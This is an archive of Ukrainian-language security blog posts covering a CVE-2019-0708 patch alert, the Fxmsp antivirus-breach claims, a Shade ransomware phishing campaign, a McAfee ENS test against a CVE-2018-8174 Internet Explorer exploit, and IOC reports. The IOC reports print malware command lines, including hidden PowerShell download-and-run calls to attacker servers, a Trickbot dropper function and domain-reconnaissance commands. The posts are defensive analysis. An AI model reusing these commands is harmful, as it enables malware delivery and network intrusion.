Tag Archive | safeneversleeps

RDP_CVE-2019-0708

Маєте в мережі Windows XP,7 чи Server 2003 – 2008 (R2)?
Поставте виправлення “дірки” у службі RDP.
Вразливість дозволяє виконання довільного коду без участі користувача.
Це _реально_ важливо, бо саме ця вразливість може бути використана для розповсюдження по мережі (як було із WannaCry та NotPetya).
Microsoft заявляє що вразливість поки не експлуатується “in the wild”, але це не надовго.
Дослідники, які мають доступ до коду експлойту підтверджують його небезпеку:

Патчі для застарілих систем (XP, 2003) беріть тут.
Не будьте жертвою. Оновіться вчасно.

Посилання на виправлення, ще раз:
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0708
https://support.microsoft.com/en-US/help/4500705/customer-guidance-for-cve-2019-0708

І не публікуйте системи із RDP в Інтернет.
Серйозно. Крім патчів, перевірте свої public IP.

Будьте уважні та обережні.

VR

#OptiData #VR #safeneversleeps #RDP #CVE_2019_0708

Advertisements

Fxmsp_AdvIntel_McAfee

Усім доброго вечора.

Нещодавно в мережі було опубліковано інформацію про компрометацію трьох виробників антивірусного програмного забезпечення.
Вчора ввечері замовники McAfee отримали розсилку (SNS) стосовно цього інциденту:

У багатьох виникли питання – чи варто хвилюватися?
Ми зі свого боку дослідили ситуацію.

Основні тези (коротко):

#1 Офіційна позиція McAfee на зараз – за фактами опублікованого AdvIntel проводиться розслідування.
Поки що реальних доказів чужої присутності не виявлено. У разі виявлення фактів компрометації компанія не збирається це замовчувати.

#2 Станом на сьогодні ми звернулись до McAfee за подробицями. Очікуємо від них більше конкретики.

#3 Компанія AdvIntel, яка на даний момент залишається єдиним (і поки не підтвердженим) джерелом інформації, до цієї публікації не з’являлася в інформаційному полі.
Їх офіційний сайт та сторінки у соц. мережах були створені на початку травня перед публікацією розслідування. Поки достовірної інформації обмаль, та ще зарано говорити про маніпуляції, але не варто відкидати і таку можливість.

#4 Фактично усі докази компрометації базуються на крихтах інформації, опублікованих AdvIntel.


Дві інші компанії (Trend Micro та Symantec), про які йдеться у публікації AdvIntel, обмежились суперечливими і не чіткими заявами.
Symantec спростовує можливість проникнення, а Trend Micro припускає часткове проникнення на некритичні системи.

Ми розуміємо серйозність даної ситуації.

Саме тому ми закликаємо вас зберігати спокій і чекати на остаточне підтвердження або спростування факту компрометації систем McAfee.

Залишайтесь з нами. Як тільки ми отримаємо нову інформацію – ми вас повідомимо.

Посилання на саме розслідування та додаткові деталі:
https://www.advanced-intel.com/blog/top-tier-russian-hacking-collective-claims-breaches-of-three-major-anti-virus-companies
https://www.bleepingcomputer.com/news/security/hackers-selling-access-and-source-code-from-antivirus-companies/
https://www.bleepingcomputer.com/news/security/new-details-emerge-of-fxmsps-hacking-of-antivirus-companies/
https://www.bleepingcomputer.com/news/security/fxmsp-chat-logs-reveal-the-hacked-antivirus-vendors-avs-respond/

Будьте уважні та обережні.

OptiData LLC

VR

подробности заказа

Або чому людей досі (успішно) продовжують ламати скриптами ?

Вступ

Активне використання механізму Windows Script Host (WSH) для доставки malware розпочалося кілька років тому.

Заблокувати цей канал досить просто, і я думав, що одного допису на цю тему буде достатньо.

Але нещодавно, з великим подивом, я дізнався що багато установ все ще не блокують JS/VBS скрипти.

ІТ/ІБ фахівці виправдовують себе по різному – страх ускладнень, не бажання змінювати політики захисту або ж використання Logon-скриптів для виконання адміністративних задач.

Поштовхом до написання цього матеріалу стала широка кампанія з розсилки #shade #troldesh ransomware, яка розпочалася ще наприкінці року (див. дайджест).

З чим ми маємо справу (детальний аналіз)

Ото ж до чого тут “подробности заказа”?

Зловмисники генерують тисячі фішингових листів, приклади яких ви можете бачити нижче:

Поля “від:” довільні, генеруються скриптом.

Поле підпису змінюється рідше, вказується кілька установ (мені траплялися більше банки)

Поле “тема:” містить один і то й же текст “подробности заказа“.

Для обходу фільтрів пошти зловмисники застосували простий трюк – приєднання у вигляді архіву містить в собі ще один архів (2й ступінь), у якому міститься приманка у вигляді обфускованого .JS скрипт та документ довільного змісту.

Оскільки JS файли фактично є тестовими, а варіативність математичних перетворень (частіше операцій з масивами) вельми широка, то обфускуються вони досить вдало.

Через це зловмисники отримують можливість генерувати такі JS приманки пачками по тисячі в день і більшість антивірусів із переліку Virustotal в перші години (а дехто і дні) будуть не помічати шкідливого вмісту. Це треба сприйняти як факт і перестати покладатися на сигнатури. (Власне це треба було зробити ще роки 3-4 тому, проте люди особи інертні)

Після активації приманки жертвою відбувається обробка JS скрипта вбудованими засобами Windows, що призводить до двох можливих сценаріїв:

  • завантаження та запуск payload через процес wscript.exe
  • передача команд з wscript.exe на powershell.exe і завантаження через нього

В кінцевому випадку усе зводиться до завантаження основної частини.

Основна частина (по цій конкретній кампанії) являє собою некодований запускний файл, який зловмисники розповсюджують на зламаних та фейкових web сторінках.

Аби ускладнити детектування основної частини, її на web серверах розміщують під виглядом графічного файлу довільним іменем “*.jpg” :

В процесі інфікування, обробка JS скрипту призводить до завантаження основної частини *.jpg > %temp%\*.tmp

Після запуску основної частини (в залежності від параметрів конфігурації) може бути затримка в 9-11 хв перед початком шифрування файлів.

Остання фаза роботи – ransomware ініціює видалення тіньових копій.

 

В результаті усе закінчується зіпсованими документами та заміткою про викуп:

# # # # # # # #

Контрзаходи

Давайте тепер разом витратимо ще кілька хвилин і розберемо можливі дієві способи протидії.

Що можна зробити аби не стати жертвою чергової розсилки #shade або іншого ransomware який використовує скрипти для доставки ?

Аби мені закидали, що мої поради носять “суто лабораторний характер” і не придатні до застосування у робочому середовищі,

давайте я розпишу наскільки допоможе той чи інший метод захисту.

Отож, іще раз, нам потрібно обірвати схему атаки до моменту збереження і запуску основної частини.

Схема інфікування:

email attach .ZIP > 2nd .ZIP > JS > WSH > GET (1 – 5 URLs) *.jpg > %temp%\*.tmp

Покроково:

1. Регулярне створення резервних копій на окремому носії/мережевому сховищі – завжди зберігається ймовірність зараження тому про документи або інші результати праці потрібно дбати постійно, а не тільки після інцидентів.

2. Блокування приєднань що містять скриптові файли – дієво, проте не усі поштові шлюзи це можуть.

Передивіться параметри своїх антиспам рішень. Врахуйте можливість застосування нетипових форматів типу LZH або TAR

3. Блокування WSH глобально через параметри реєструуже описував, дієво, проте може спричинити помилки у роботі екзотичного/самописного ПЗ.

Якщо ви для адміністрування не використовуєте так звані Logon – скрипти і у вас відсутня екзотика – спробуйте цей метод.

4. Заборона запуску процесів WSH (wscript та cscript) від імені простого користувача – якщо відключити WSH повністю ви не можете, подбайте про те, щоб

операції адміністрування виконувалися від імені окремого сервісного облікового запису.

Тоді ви зможете заборонити запуск ?script.xe для звичайних користувачів.

Це можна реалізувати правилами Access Protection McAfee VSE/ENS.

В правилі необхідно буде додати виключення для системних облікових записів (local/system)та адміністративних (domain/admin)

Приклад правила:

Action: Block + Report

Executables: (не вказуємо конкретні, усі)

User Names: exclude local/system, eclude domain/admin

subrules > type: File

Operations: Execute

Targets: **\?script.exe (або ж два елементи: **\wscript.exe та **\cscript.exe)

(!) Зверніть увагу, що для посилення безпеки також потрібно блокувати запуск **\powershell.exe, **\cmd.exe та **\mshta.exe

Детальніше про налаштування користувацьких правил Access Protection можна подивитися у записі вебінару (дивитися з 48-ї хвилини)

5. Заборона мережевого трафіку для процесів WSH (?script.exe) та powershell.exe – уже описував, дієво. Мало хто робить.

Але зберігається небезпека запуску раніше завантаженої основної частини (якщо атака розтягнута в часі і розбита на кілька етапів, а не проходить за 1 прийом).

6. Заборона завантаження запускних файлів в явному вигляді + блокування http.request із пустим або нетиповим полем User Agent – для тих систем, що працюють через корпоративний Proxy це ідеальна страховка від інфікування не лише ransomware а й іншими видами malware.

Має три недоліки:

  • не всі Proxy/UTM підтримують перевірку поля User Agent
  • не всі рішення можуть виконувати інспекцію SSL трафіку
  • системи, які отримують доступ до Інтернет непряму залишаються в зоні ризику

7. Контроль створення та/або запуску нових файлів у каталозі профілю користувача – описував тут і тут(2).

Максимальна ефективність + максимальна складність через потребу вносити виключення для додатків MS, браузерів та іншого ПЗ, що полюбляє оселятися у **\Users\*\.

Це порада, яка викликає найбільш активне обговорення.

Але ви повинні розуміти, що це останній ешелон захисту.

Якщо із ви не впевнені або не можете задіяти хочаби один із попередніх контрзаходів – усе що відділяє вас від запуску шкідливого коду – дане правило.

Так, воно потребує обов’язкового тестування і створення великого списку виключень. Але повірте, це того варте.

# # # # # # # #

Ось і усе.

Вищеописані контрзаходи лишаються на ваш розсуд.

Але тільки не кажіть мені, що у 2019-му році ви не можете мінімізувати ризик від зараження JS файлами, бо це не так.

– – –  // Бонусний контент для уважних та допитливих

Як пережити атаку Ransomware ?

Не дивлячись на те, що ransomware потроху здає позиції різним троянам та модульним malware,

мені стабільно раз на місць надходять запитання на кшталт: “Ааааа! В нас систему/базу/сервер пошифрувало. Шо робити?!

Резервних копій або не було взагалі, або вони застарі, або ж (іронія) … бекапи теж зашифровані.

Ото ж, коротенька інструкція, збережіть собі, на той випадок, якщо ваші файли будуть зашифровані.

  1. Не переводити кошти злочинцям. Я серйозно. Не платити викуп.
  2. За наявності зовнішнього HDD достатнього об’єму зняти образ диску (ів) повністю
    • якщо диску потрібного об’єму нема – скопіювати на флешку каталоги в яких були важливі (робочі) документи
  3. Провести дезинфекцію інфікованої системи (тема для окремого допису)
  4. Спершу потрібно визначити тип Ransomware, для цього необхідно скористатися порталом ID Ransomware
      • варто завантажити або зразок зашифрованого файлу або замітку про викуп або ж адреси email з ransom note

  5. Якщо вам пощастить і це виявиться відомий представник свого виду – портал підкаже чи є до цієї зарази дешифратор та направить на окрему сторінку форуму де обговорюють порятунок даних від цієї зарази (утиліти для розшифровки можуть бути написані як дослідниками-одинаками так і представниками компаній РФ. використання таких утиліт – на ваш розсуд та ризик)
  6. Якщо пункт 4 не дав конкретної інформації, дешифратор можна спробувати пошукати на порталі nomoreransom.org
  7. Якщо і в попередньому пункті ви не знайшли ліків, або ж дешифратор був для старішого варіанту, я можу порекомендувати звернутися в особистому порядку до Michael Gillespie @demonslay335  який може спробувати проаналізувати зразок ransomware та зашифрований файл і можливо (50/50) допоможе із розшифровкою
  8. Якщо ж жоден із трьох варіантів не приніс результатів – не варто опускати руки. Потрібно зберегти копії зашифрованої інформації і запастися терпінням. Часом буває, що дослідники добиваються успіху і випускають дешифратор, або ж самі автори ransomware зливають в мережу ключі шифрування.
  9. Якщо вже так сталося, що вас або вашого колегу/родича/знайому пошифрувало – почніть самі і поможіть їм розпочати створювати резервні копії.
  10. Стежити за новинами в світі Ransomware краще на порталі bleepingcomputer.com, особливо рекомендую рубрику The Week in Ransomware

– – –  // Бонусний контент для уважних та допитливих

Будьте уважні та обережні.

VR

9:1 або ENS10.6 vs IE exploit

Як правильно користуватися антивірусом, або чому я працюю з McAfee (частина #2)

Усім привіт!

Як людина, якій дуже часто доводиться мати справу з шкідливим кодом, я підготував для вас свіжий контент)

Продовжую знайомити вас із захисними механізмами, які приховує в собі ENS 10.6

Якщо хто пропустив першу частину (аналіз ефективності проти документу з макросом) – раджу почати з неї.

Ті, хто мене добре знають, вже розуміють, що я користуюся та налаштовую ENS не як антивірус, а як модуль аналізу поведінки. Просто я розумію, що в умовах сучасних масових/цільових атак файлові сигнатури та навіть хмарна репутація будуть запізнюватися. Тому я роблю ставку на інші методи захисту.

Але ближче до справи – вчора мені на очі трапилася реалізація експлойту #CVE-2018-8174 для доставки шкідливого коду. На відміну від попереднього прикладу, який я використав для розгляду можливостей ENS, цього разу для активації атаки достатньо перейти за посиланням через непатчений Internet Explorer (виправлення MS опублікували ще 08/05/18).

Це трохи відрізняється, від фішингу, де жертві усе ще треба відкрити документ або активувати скрипт. Тут усе зробить браузер.

Навіть виконає ескалацію привілеїв із обходом UAC. А це вже серйозно.

Кому потрібні деталі по експлойту – знайдете їх тут, а ми переходимо до захисту.

Перш ніж почати перевіряти надійність ENS, давайте змінимо стандартні (My Default) налаштування на більш посилені. Нижче я наведу приклади максимально жорстоких правил.

Увага! Не намагайтеся одразу перенести їх на свою інфраструктуру.

В кожному конкретному випадку, залежно від типу системи та характеру використання по цим правилам будуть свої списки виключень, а для деяких установ вбудовані правила краще замінити на додаткові користувацькі.

#1 Активуємо вбудовані правила з блоку Access Protection

(оскільки ми не знаємо на перед механізму дії експлойту то активуємо їх усі)

 

#2 Додаємо користувацьке правило для блокування нових .exe

(примітивне, проте захищає від 90% атак не залежно від типу обгортки/приманки)

#3 Додаємо правило заборони перехресного виклику

(захистить від приманок що залучають PowerShell – 70% )

#4 Для кращого контролю PowerShell активуємо додаткові сигнатури Exploit Prevention

(дозволить блокувати кодовані команди, приховані виклики і таке інше)

#5 Додамо користувацьке правило брандмауера для блокування вихідного трафіку

(захистить від довантаження payload у разі спрацювання 0day на інструменти ОС)

#6 Переглянемо параметри Web Control

(активуємо перевірку репутації файлів та посилань згідно хмари McAfee GTI)

#7 Перевіримо спрацювання користувацького правила Access Protection

(щоб пересвідчитися що шлях заданий вірно і захист вже активовано)

 

Ось тепер наша піддослідна тестова машина готова до зустрічі з експлойтом, спрацювання якого веде до запуску проміжного downloader`а та довантаження основного тіла троянського шкідливого коду.

 

Схема даної атаки (спрощена):

  1. Жертва переходить на інфіковану сторінку що містить експлойт
  2. Internet Explorer починає обробляти вміст сторінки, зокрема VBS скрипт
  3. Вразливість приводить до екскалації привілеїв в обхід UAC
  4. Internet Explorer виконанує довільний код – в даному випадку запуск mshta
  5. Далі відбувається обробка hta файлу що містить команди для PowerShell
  6. Виконується прихований запуск PowerShell для завантаження та запуску downloader`а
  7. Далі downloader перевіряє параметри системи та довантажує основне тіло payload

 

І так, шановні читачі, леді та джентльмени, увага! Почнемо шоу.

У синьому кутку рингу – експлойт CVE-2018-8174, все ще активний та небезпечний для тих, то не оновлює систему.

А у червоному кутку рингу – оновлений McAfee ENS із посиленими політиками.

Бій до останнього. Почали.

 

#1 Перший контакт – переходимо за посиланням і …

Web Control блокує обробку сторінки по репутації за даними GTI.

Система не ушкоджена.

1:0 на користь ENS

 

Вимикаємо Web Control адже наступна (інша) атака може проходити з URL який буде мати нормальну репутації (зламаний сайт державної установи або комерційної організації)

* а для тих, хто користується Web Gateway мій колега Олег перевірив захист на рівні web proxy:

 

#2 Другий раунд, повторна спроба переходу за посиланням і …

Отримуємо одразу два блокування. По порядку.

Друга атака експлойту блокується сигнатурою 6048 модулю Exploit Prevention – махінації із стеком, переповнення буферу.

Система не ушкоджена.

2:0 на користь ENS

 

Вимикаю блок по сигнатурі 6048 адже наступна (інша) атака може не стосуватися буферу.

 

#3 Третій раунд, повторна спроба переходу за посиланням і …

Друга атака експлойту блокується OnAccess Scan (OAS) по сигнатурі CVE яка спрацювала на вміст VBS в коді сторінки.

Система не ушкоджена.

3:0 на користь ENS

 

Вимикаю блок по сигнатурі 6048 адже наступна (інша) атака може використовувати експлойт, на який ще не буде сигнатури OAS.

 

#4 Четвертий раунд. Експлойт уже виснажений і намагається скавчати, проте бій продовжується.

Знову переходимо за посиланням і …

Спрацьовує вбудоване правило Access Protection (яке по замовчуванню вимкнене).

ENS блокує спробу IE внести зміни до реєстру (механіка вразливості).

Система не ушкоджена.

4:0 на користь ENS

 

Вимикаю блок для правила Access Protection адже наступна (інша) атака може застосовувати інші механізми.

 

#5 Рефері витягує наляканий експлойт з канатів знову на ринг. Бій продовжується.

Знову переходимо за посиланням і …

Спрацьовує користувацьке правило брандмауеру яке забороняє процесу MSHTA встановити вихідне з’єднання для обробки hta файлу, який містить команди для PowerShell.

Експлойт відпрацював, але обробка інструкцій і завантаження шкідливого коду не відбулися.

Усе чим відбувся користувач – помилка в роботі браузера.

Система не ушкоджена.

5:0 на користь ENS

 

Вимикаю блок для користувацького правила брандмауера адже наступна (інша) атака може застосовувати інші вбудовані механізми ОС в якості транспорту.

 

#6 Експлойт пригнічений та деморалізований. Лунає сигнал до бою.

Знову переходимо за посиланням і …

Експлойт спрацьовує, MSHA оброблює hta файл і намагається викликати PowerShell..

Але ENS спокійно (як Нео в фільмі “Матриця”) блокує цей підступний прийом завдяки користувацькому правилу Access Protection яким ми заборонили перехресний виклик cmd, powershell та mshta.

Система не ушкоджена.

6:0 на користь ENS

 

Вимикаю блок для користувацького правила Access Protection адже наступна (інша) атака може застосовувати інші вбудовані механізми ОС в якості транспорту.

 

#7 Навряд чи в реальних умовах жертва буде продовжувати спроби перейти за посиланням вже після перших блокувань, але наш бій продовжується.

Експлойт не полишає надії, адже ENS стримує атаки уже з відключеними 6ма захисними механізмами.

Знову переходимо за посиланням і …

Цього разу експлойт спрацьовує, MSHA оброблює hta файл і намагається викликати PowerShell..

Але ENS тримає удар! Завдяки сигнатурі 6070 яка відрізняє прихований виклик PowerShell.

Система не ушкоджена.

7:0 на користь ENS

 

Вимикаю блок по сигнатурі 6070 адже наступна (інша) атака може використовувати інший механізм доставки шкідливого коду.

 

#8 Восьмий раунд. Глядачі завмерли в очікуванні.

Експлойт біситься, адже перша фаза атаки проходить (і це лише після того як ми послабили захист ENS на 7 різних пунктів), але інфікування системи не відбувається.

Експлойт не завдає шкоди системі. Зловмисники не отримають результату.

Під галас глядачів рефері знов виштовхує переляканий експлойт на ринг. Лунає сигнал до бою.

Знову переходимо за посиланням і …

PowerShell виконує передані на цього інструкції і намагається завантажити та записати файл downloader`а..

Але знову ENS перемагає! Спрацьовує вбудоване правило Access Protection яке блокує створення нових файлів у каталозі Windows (правило по замовчуванню вимкнене).

Зверніть увагу, що в даному випадку, завдяки ескалації привілеїв, зловмисники намагаються записати .exe не в каталог користувача, а у C:\Windows\Temp, куди звичайному користувачу доступу нема.

Також зауважте, в даному випадку користувацьке правило на створення та запуск .exe у C:\Users\**\ не знадобилося, але у тих випадках, коли атака проходить без ескалації привілеїв вони вас захистить.

Система не ушкоджена.

8:0 на користь ENS

 

Вимикаю блок для користувацького правила Access Protection адже наступна (інша) атака може записувати файли в інші каталоги.

 

#9 Я думаю, що читачам уже й так усе зрозуміло. Але ж бій має йти до кінця, так?

Експлойт знає, що ENS майже повністю деактивований, функціонує менша частина захисту.

На цьому місці глядачі (читачі) згадують кульмінацію фільмів “Роккі” з Сильвестром Сталлоне ))

Дев’ятий раунд.

Знову переходимо за посиланням і …

експлойт проводить нокдаун завантаження та запуск downloader`а.

Перший удар, який ENS пропустив (після деактивації 8 ешелонів захисту!)

Усі завмерли. Експлойт, нападники уже відкорковують шампанське, так, шкідливий .exe-шник запустився на системі..

Але що це?

На останньому подиху ENS через брандмауер блокує спробу downloader`а з’єднатися із С2 і не дозволяє довантажити payload.

Система скомпрометована, проте ексфільтрації даних та довантаження payload не відбулося.

9:1 на користь ENS

 

Ображений експлойт скавчить, тікає з рингу і забивається у темний куток))

Якось так =)

Щоб вам було цікавіше це читати, я намагався подати мої екзерсиси з тестуванням як боксерський раунд. Сподіваюсь, це на завадило вам зрозуміти основний меседж – навіть без сигнатур, в умовах 0day атаки, за умови правильних політик, ENS може надійно протистояти широкому діапазону атак, як через фішинг так і через експлойти вбудованих механізмів ОС.

Зрозуміло, що на практиці, бізнес не стане працювати з усіма обмеженнями які я задіяв в даному випадку, але порівняно із “просто файловим сканером”, McAfee ENS надає вам можливості адаптувати захист під ваші умови.

Якщо ви навчитеся користуватися усім функціоналом ENS, а не лише OAS, тоді відсутність своєчасних оновлень Windows чи Office не буде становити високої загрози для ваших систем.

 

Ще раз звертаю увагу, що параметри/політики в даному тесті були не default.

І я закликаю вас не використовувати політики по замовчуванню.

Висновки робіть самі:

  • Default політики – Web Control, OAS, Exploit Prevention 6048 – 3 (три) блоки до зараження
  • Активація базових правил – Web Control, Exploit Prevention 6048, OAS, AP_reg, Exploit Prevention 6070, AP_exe_Win – 6 (шість) блоків до зараження
  • Базові + користувацькі – Web Control, Exploit Prevention 6048, OAS, AP_reg, Firewall-1, AP_2ps, Exploit Prevention 6070, AP_exe_Win, Firewall-2 9 (дев’ять) блоків до зараження

Сподіваюсь, дана публікація буде корисною як для користувачів McAfee так і для тих, хто користується іншими засобами захисту – а ви на базі свого рішення такі заборони ввести можете?

Залишайтеся з нами.

Слідкуйте за нашою сторінкою в FaceBook

Усім гарного дня.

Будьте уважні та обережні.

Знайте вашу зброю та вмійте нею користуватися.

VR

IOC_18-8174_180618

Доброго ранку, панове.

Відстежуємо способи доставки шкідливого коду через вразливість Internet Explorer.

#CVE-2018-8174 призводить до виконання довільного коду через обробку VBS в коді сторінки.

Рівень загрози, для організацій котрі застосовують не оновлений IE в якості основного – високий.

А для тих, хто уважно читає наші поради, контролює powershell та створення нових exe – низький.

Хочемо звернути вашу увагу на цей випадок, оскільки до цього левова частка зразків запускалися через активацію приманки користувачем.

В даному випадку переходу за посиланням достатньо. Максимум – IE запитає користувача чи активувати ActiveX компоненти.

Ми весь час розбирали різні варіанти обгорток що проходять через фішинг.

Разом із тим радимо не забувати про своєчасне оновлення бравзерів та застосування URL фільтрації і фільтрації мережевих експлойтів (Network / Host IPS.)

На що треба звернути увагу:

  • (!) Сервер з експлойтом та проміжним dropper`ом досі активний
  • (!) Станом на 19-те число знову достпні обидва payload
  • (!) Вразливість дозволяє ескалацію привілеїв із обходом UAC
  • Попередній пункт означає, що все, що затягує debug запускається вже від рівня System
  • В цьому випадку проміжний dropper записується у C:\Windows\Temp (по замовчуванню не доступна для звичайного користувача)
  • Весь процес інфікування займає 1-2 хв
  • Активація експлоту приводить до обробки hta файлу, який передає інструкції на powershell (далі усе стандартно)
  • Шлях та ім’я з яким записується і запускається downloader чітко вказані в hta (not random)
  • Dropper та Payload не кодовані (!This program cannot be run in DOS mode.)
  • Зразок не зачищає за собою файли у C:\Windows\Temp
  • Прав Адміністратора не потребує, проте отримує їх при виконанні

І так, проблеми будуть у тих, хто:

  • Використовує не оновлений Internet Explorer (більше 50% організацій)
  • Не заборонили завантаження через powershell та mshta (більше 50% організацій)
  • На блокують несанкціоноване завантаження додатків з робочих систем (50% організацій)
  • Не блокують створення та запуск нових .exe з каталогів C:\Users\**\*.exe (70% установ)

 Схема атаки:

URL > unpatched IE > .html (vbs) > exploit > 
mshta > powershell > GET debug.exe > C:\Windows\temp\debug.exe

Маркери IOC:

SHA-256        7844b3992af7820a8818bf02d8578bcfe0e745712c90b4e52471fd48a595b9e9
File name   3.html
File size      10.1 KB
SHA-256        e484cfd79e8041ad63df663f765e21facdc835df3460c99016ae44c12760b415
File name   wm.hta
File size      316 B

SHA-256 b9215c70ef59ce882f7415e698c5a383273b76a8fc599cb73ea15f33b0315142
File name 1.exe
File size 304.59 KB
SHA-256 82282f5c39347adadbaddce72da905c2beae1a2b68facc8dc22cf6c3485de604
File name 2.exe
File size 84 KB

Активність по процесам:

"C:\Program Files\Internet Explorer\iexplore.exe" >>        111.73.46{.} 110:2233        GET /3.html

"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1960 CREDAT:144385 /prefetch:2

C:\Windows\SysWOW64\mshta.exe h11p://111.73.46{.} 110:2233/wm.hta

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"

-windowstyle hidden (new-object System.Net.WebClient).DownloadFile('h11p://111.73.46{.} 110:2233/debug.exe', 'c:/windows/temp/debug.exe'); c:/windows/temp/debug.exe

"C:\windows\temp\debug.exe"

C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c del C:\windows\temp\debug.exe > nul

 Мережеві IOC:

Сторінка яка містить експлойт:

111.73.46{.} 110:2233        GET /3.html HTTP/1.1  Mozilla/5.0  – обробляється IE

Hta файл:

111.73.46{.} 110:2233        GET /wm.hta HTTP/1.1 Mozilla/4.0 – обробляється mshta

Проміжний dropper:

111.73.46{.} 110:2233        GET /debug.exe HTTP/1.1             – завантажується через PowerShell

Payload – обидва доступні!:

111.73.46.110:2233             GET /1.exe HTTP/1.1    Mozilla/4.0  – завантажується через debug.exe

111.73.46.110:2233             GET /2.exe HTTP/1.1    Mozilla/4.0  – завантажується через debug.exe

 Контрзаходи:

  • Перевірка журналів мережевого обладнання на наявність з’єднань із вказаним URL
  • Застосування шлюзів очистки web трафіку та IPS/IDS або HIPS (ENS 10.6)

Зверніть увагу на ефективність McAfee Web Gateway:

#1 Блок по фільтру геолокації

#2 Блок по репутації

#3 Блок по сигнатурі файлу

#4 Блок по CVE вразливості

Отже, правильно налаштований Web Gateway зробив 4 блоки. Дуже хороший результат.

Спрацювання ENS на вміст вебсторінки:

  • Розгортання механізмів т.з. “білих списків” для захисту від виконання несанкціонованого коду (на серверах/критичних системах)
  • Розгортання комплексу захисту McAfee ATD + ENS ATP + MAR для перевірки та блокування файлів із невідомою репутацією
  • Співбесіди з персоналом на тему сучасних цільових/масових атак із застосуванням фішингу та соц. інженерії

P.S.

Перевірити, чи вразливий ваш IE до цього екслойту можна за допомогою PoC:

https://github.com/smgorelik/Windows-RCE-exploits/tree/master/Web/VBScript

Про використання данної вразливості популярними exploit-kit читайте тут:

https://malware.dontneedcoffee.com/2018/05/CVE-2018-8174.html

Детальний технічний аналіз самої вразливості тут:

http://blogs.360.cn/blog/cve-2018-8174-en/

Будьте уважні та обережні!

Очікуйте окрему статтю про ефективність модулів ENS 10.6

VR

IOC_Trickbot_110618

Доброго ночі, панове.

Перепрошую, що турбую в неробочий час, але інформація важлива.

В минулий понеділок, 11го числа, після обіду походила розсилка документів з макросами,

активація яких призводила до інфікування систем трояном типу #Trickbot.

Ми отримали зразок фішингового листа від однієї з компаній лише кілька годин тому:

Приманка досі функціонує, а основне тіло активно передає інформацію з інфікованих систем.

Шість днів поспіль вони продовжують збирати інформацію.

Так, уже майже усі антивіруси внесли і документ і payload в свої сигнатури.

Але ми дбаємо про вас, тому вирішили надати звіт із маркерами щоб ви могли пересвідчитися, що ваші системи ця зараза оминула.

Нагадую, що #Trickbot є модульним ШПЗ, яке використовується для збору даних та стеження.

Може довантажувати різні модулі для шифрування або віддаленого керування.

Рівень загрози, для організацій котрі не блокують макроси та не контролюють PowerShell і створення .exe, – високий.

А для тих, хто уважно читає наші поради – низький.

На що треба звернути увагу:

  • Один із серверів, що розповсюджує частини malware досі активний
  • Завантаження payload силами powershell через його виклик з cmd
  • Шлях та ім’я з яким записується і запускається downloader чітко вказані (not random)
  • Payload не кодований (!This program cannot be run in DOS mode.)
  • Виконання проходить із затримкою ~2-3 хв
  • Зразок не зачищає за собою файли у %temp% після міграції в %apdata%
  • Перевірку IP та звернення до Windows Update здійснює процес Oeuin_r.exe
  • Зразок також довантажує з windowsupdate.com кореневі сертифікати
  • А от передача зібраних даних уже через інжектований svchost
  • Прав Адміністратора не потребує

І так, проблеми будуть у тих, хто:

  • Не блокують макроси (90% державних установ)
  • Не заборонили завантаження через powershell (більше 50% організацій)
  • Не заборонили мережевий трафік для powershell (більше 50% організацій)
  • На блокують несанкціоноване завантаження додатків з робочих систем (50% організацій)
  • Не блокують створення та запуск нових .exe з каталогів C:\Users\**\*.exe (70% установ)

 Схема атаки:

Email attach (.doc) > macro > cmd > powershell > 2 URL > GET no.bin > %temp%\Oeuin_r.exe

Маркери IOC:

документ

SHA-256        5e7a1ed5f9a1fbc9d7148fbc28a379dc0067508844b6d342084d26b75c995d4f
File name   75812277127A00113A.doc
File size      69 KB

Макрос містить 2 URL:

h11p:\onetimewonders{.} com/no.bin    (!) досі активний

h11p:\nepalhiking{.} com/no.bin           (404) файл вже видалено

сновна частина

SHA-256    503c5c3cb68e1e057df4b99fe338d65d44d4c6e1f49396929d3fff66044505af
File name   no.bin       >> %temp%\Oeuin_r.exe        !This program cannot be run in DOS mode.
File size      338 KB

Відкриває з’єднання із С2

h11p\188.124.167.132:8082/ser0611/hostname.UID

Активність по процесам:

"C:\Program Files (x86)\Microsoft Office\Office12\WINWORD.EXE" /n /dde

"C:\Windows\System32\cmd.exe" /c PowerShell "'PowerShell ""function mhioxqxcz1([String] $lcambw5)

{(New-Object System.Net.WebClient).DownloadFile($lcambw5,''C:\tmp\Oeuin_r.exe'');

Start-Process ''C:\tmp\Oeuin_r.exe'';}try{mhioxqxcz1(''h11p\onetimewonders{.} c0m/no.bin'')}catch{mhioxqxcz1(''h11p\nepalhiking{.} c0m/no.bin'')}'""

| Out-File -encoding ASCII -FilePath C:\tmp\wcwwirbmn.bat;Start-Process 'C:\tmp\wcwwirbmn.bat' -WindowStyle Hidden"

C:\Windows\SysWOW64\cmd.exe cmd /c ""C:\tmp\wcwwirbmn.bat" "

PowerShell  "function mhioxqxcz1([String] $lcambw5){(New-Object System.Net.WebClient).

DownloadFile($lcambw5,'C:\tmp\Oeuin_r.exe');

Start-Process 'C:\tmp\Oeuin_r.exe';}try{mhioxqxcz1('h11p\onetimewonders{.} c0m/no.bin')}catch{mhioxqxcz1('h11p\nepalhiking{.} c0m/no.bin')}

"C:\tmp\Oeuin_r.exe"

C:\Users\operator\AppData\Roaming\coplane\Oeuin_s.exe

C:\Windows\system32\svchost.exe

Збір інформації вбудованими засобами ОС:

C:\Windows\system32\cmd.exe /c ipconfig /all

C:\Windows\system32\cmd.exe /c net config workstation

C:\Windows\system32\cmd.exe /c net view /all

C:\Windows\system32\cmd.exe /c net view /all /domain

C:\Windows\system32\cmd.exe /c nltest /domain_trusts

C:\Windows\system32\cmd.exe /c nltest /domain_trusts /all_trusts

Закріплення через планувальник задач:

\MsWinToken      c:\users\operator\appdata\roaming\coplane\oeuin_s.exe        11.06.2018 10:46

Мережеві IOC:

Завантаження основного тіла:

68.65.120.85      onetimewonders{.} c0m       GET /no.bin HTTP/1.1

Перевірка Public IP:

216.239.32.21    ipinfo.io     GET /ip      HTTP/1.1    Mozilla/5.0

Комунікація з Windows Update (довантаження кореневих сертифікатів):

91.223.19.232    www.download.windowsupdate.com       GET /msdownload/update/v3/static/trustedr/en/authrootstl.cab HTTP/1.1   Microsoft-CryptoAPI/6.1

